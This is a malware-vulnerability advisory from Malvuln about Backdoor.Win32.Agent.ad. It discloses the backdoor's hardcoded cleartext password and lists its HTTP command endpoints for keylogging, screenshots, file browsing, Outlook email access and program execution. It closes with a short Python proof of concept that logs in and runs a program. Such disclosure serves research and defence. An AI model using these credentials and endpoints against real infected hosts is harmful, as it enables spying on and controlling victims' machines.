Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/d2b933ebadd5c808ca4c68ae173e2d62.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.ad
Vulnerability: Insecure Credential Storage
Description: The malware listens on TCP port 87, its default password "hoanggia" is stored in the Windows registry in cleartext under "clrprv.oo" in "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\System\NPP". The password is also set as cookie value "Cookie: pass=hoanggia; day=14; month=11; year=2021", which also gets sent over the network in plaintext. Third party attackers who can access the system or sniff traffic can grab the password, then execute any programs and or run commands made available by the backdoor.

Execute programs
http://x.x.x.x:87/brow?exe=C:\Windows\system32\calc.exe

Screenshots
http://x.x.x.x:87/scrs?

Websites visited
http://x.x.x.x:87/web?

Keys pressed
http://x.x.x.x:87/key?

File system browsing
http://x.x.x.x:87/brow?

Apps used
http://x.x.x.x:87/run?

Outlook emails
http://x.x.x.x:87/chatoutlook?app=out

Misc CMDs
http://x.x.x.x:87/main?cmd=shutdown
http://x.x.x.x:87/main?cmd=logoff
http://x.x.x.x:87/main?cmd=reboot

Type: PE
MD5: d2b933ebadd5c808ca4c68ae173e2d62 
Vuln ID: MVID-2021-0406
Disclosure: 11/21/2021


Exploit/PoC:
import requests

with requests.Session() as s:
    p = s.post("http://x.x.x.x:87/main", data={'pass':"hoanggia"})
    r = s.get("http://x.x.x.x:87/brow?exe=calc")
    print(r.status_code)


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